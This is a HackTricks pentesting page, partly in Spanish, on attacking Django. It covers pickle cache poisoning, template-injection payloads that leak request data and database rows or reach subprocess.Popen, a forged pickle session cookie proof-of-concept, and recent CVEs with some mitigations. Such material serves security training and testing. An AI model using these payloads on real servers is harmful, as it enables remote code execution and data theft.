Django
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Cache Manipulation to RCE
El método predeterminado de almacenamiento de cache de Django es Python pickles, lo que puede conducir a RCE si untrusted input is unpickled. Si un atacante puede obtener acceso de escritura al cache, puede escalar esta vulnerabilidad a RCE en el servidor subyacente.
El cache de Django se almacena en uno de cuatro lugares: Redis, memory, files, o una database. El cache almacenado en un servidor Redis o en una base de datos son los vectores de ataque más probables (Redis injection y SQL injection), pero un atacante también podría usar file-based cache para convertir una escritura arbitraria en RCE. Los mantenedores lo han marcado como un non-issue. Es importante tener en cuenta que la carpeta de archivos del cache, el nombre de la tabla SQL y los detalles del servidor Redis variarán según la implementación.
On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:
python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
Django Template Language (DTL) es Turing-complete. Si datos suministrados por el usuario se renderizan como una cadena de plantilla (por ejemplo al llamar a Template(user_input).render() o cuando |safe/format_html() elimina el auto-escape), un atacante puede lograr SSTI → RCE completo.
Detection
- Busca llamadas dinámicas a
Template()/Engine.from_string()/render_to_string()que incluyan cualquier dato de la solicitud no saneado. - Envía un payload basado en tiempo o aritmético:
{{7*7}}
Si la salida renderizada contiene 49 la entrada es compilada por el motor de plantillas.
3. DTL is not Jinja2: payloads aritméticos/de bucle regularmente lanzan TemplateSyntaxError/500 mientras aún demuestran evaluación. Políglotas como ${{<%[%'"}}% son buenas pruebas para provocar un fallo o renderizado.
Context exfiltration when RCE is blocked
Incluso si el recorrido de objetos hacia subprocess.Popen falla, DTL todavía expone objetos disponibles en el ámbito:
{{ request }} {# confirm SSTI #}
{{ request.META }} {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }} {# QuerySet in the context? #}
{{ users.0 }} {# first row #}
{{ users.values }} {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}
QuerySet.values() convierte filas en diccionarios, evitando __str__ y exponiendo todos los campos retornados por el queryset. Esto funciona incluso cuando la ejecución directa de Python está filtrada.
Patrón de automatización: autenticar, obtener el token CSRF, guardar una payload con prefijo marcador en cualquier campo persistente (p. ej., username/profile bio), luego solicitar una vista que la renderice (endpoints AJAX como /likes/<id> son comunes). Analizar un atributo estable (p. ej., title="...") para recuperar el resultado renderizado e iterar las payloads.
Primitiva para RCE
Django bloquea el acceso directo a __import__, pero el grafo de objetos de Python es accesible:
{{''.__class__.mro()[1].__subclasses__()}}
Encuentra el índice de subprocess.Popen (≈400–500 dependiendo de la compilación de Python) y ejecuta comandos arbitrarios:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Un gadget universal más seguro es iterar hasta que cls.__name__ == 'Popen'.
El mismo gadget funciona para las funciones de renderizado de plantillas de Debug Toolbar o Django-CMS que manejan incorrectamente la entrada del usuario.
Véase también: ReportLab/xhtml2pdf PDF export RCE
Las aplicaciones construidas sobre Django suelen integrar xhtml2pdf/ReportLab para exportar vistas como PDF. Cuando HTML controlado por el usuario llega a la generación de PDF, rl_safe_eval puede evaluar expresiones dentro de corchetes triples [[[ ... ]]] permitiendo ejecución de código (CVE-2023-33733). Detalles, payloads, y mitigaciones:
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
RCE en cookies de sesión respaldadas por Pickle
Si la opción SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' está habilitada (o un serializer personalizado que deserialise pickle), Django decrypts and unpickles la cookie de sesión antes de invocar cualquier código de vista. Por lo tanto, poseer una clave de firma válida (el SECRET_KEY del proyecto por defecto) es suficiente para ejecución remota de código inmediata.
Requisitos del exploit
- El servidor usa
PickleSerializer. - El atacante conoce / puede adivinar
settings.SECRET_KEY(leaks via GitHub,.env, páginas de error, etc.).
Prueba de concepto
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Envía la cookie resultante, y el payload se ejecuta con los permisos del WSGI worker.
Mitigaciones: Mantén el JSONSerializer por defecto, rota la SECRET_KEY y configura SESSION_COOKIE_HTTPONLY.
Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
- CVE-2025-48432 – Log Injection via unescaped
request.path(fixed June 4 2025). Permite a los atacantes introducir newlines/ANSI codes en los archivos de log y envenenar el análisis de logs aguas abajo. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Critical SQL injection in
QuerySet.values()/values_list()onJSONField(CVSS 9.8). Construye claves JSON para romper el quoting y ejecutar SQL arbitrario. Fixed in 4.2.15 / 5.0.8.
Siempre fingerprint la versión exacta del framework mediante la página de error X-Frame-Options o el hash de /static/admin/css/base.css y prueba lo anterior cuando corresponda.
References
- Aviso de seguridad de Django – “Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432” – 4 Jun 2025.
- OP-Innovate: “Django releases security updates to address SQL injection flaw CVE-2024-42005” – 11 Aug 2024.
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
- Django docs – QuerySet.values(): https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values
- 0xdf: HackNet (HTB) — HTML Attribute Injection → Django SSTI → QuerySet.values data dump → Pickle FileBasedCache RCE – https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


